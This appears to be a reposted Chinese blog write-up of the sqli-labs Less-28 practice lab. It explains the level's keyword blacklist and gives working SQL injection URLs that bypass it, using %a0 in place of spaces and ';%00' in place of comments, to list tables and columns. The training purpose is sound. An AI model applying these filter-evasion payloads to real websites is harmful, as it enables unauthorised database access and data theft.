Sqli-labs - Less-28


接着好久之前的sql注入學習

Less-28源代碼如下:

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);              //strip out /*
$id= preg_replace('/[--]/',"", $id);              //Strip out --.
$id= preg_replace('/[#]/',"", $id);                  //Strip out #.
$id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);      //Strip out UNION & SELECT.
return $id;
}

解法:

參考了https://www.cnblogs.com/zhengna/p/12655523.html

正則表達式'/union\s+select/i'中,\s表示空格,+表示匹配一次或多次,/i表示不區分大小寫,所以整體表示匹配 union加一個或多個空格加select,其中union和select不區分大小寫

就是說只看最后一項,正則匹配會過濾 union加空格加select,只有這個表達式(不區分大小寫)滿足的時候才會進行過濾,但是雙寫空格會被之前的空格匹配過濾。

如果空格替換成其他等價的字符,如/**/(被過濾)、tap空格、%0a(換行符,sql查詢特性)、%a0就能繞過匹配

但是沒有報錯回顯無法使用報錯判斷,只能嘗試爆出信息:

嘗試(以下語句需要在后面添加%0a1=1;%00),由於注釋符被過濾,因此使用;%00替代

引入新的語句

 

之后嘗試出現回顯

之后進入正常步驟,先order by,到4的時候不回顯,說明字段結構是3的長度

 

繼續查數據庫,突然沒有回顯,回去看看,發現參考博客寫的並不嚴謹

\s表示匹配一個空格,但也能匹配包括tab鍵等空白符,因此%0a換行符也被匹配了,至此我們只能使用%a0來繞過

 

查詢表

 http://192.168.147.133/Less-28/?id=0%27)union%a0select%a01,table_name,3%a0from%a0information_schema.tables;%00

 

查列

 http://192.168.147.133/Less-28/?id=0%27)union%a0select%a01,column_name,3%a0from%a0information_schema.columns%a0where%a0table_name=%27CHARACTER_SETS%27;%00

 

最后去查值,select列名from表名,如果無回顯,可以去參考其他資料,又或者是sqli-labs配置錯誤


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM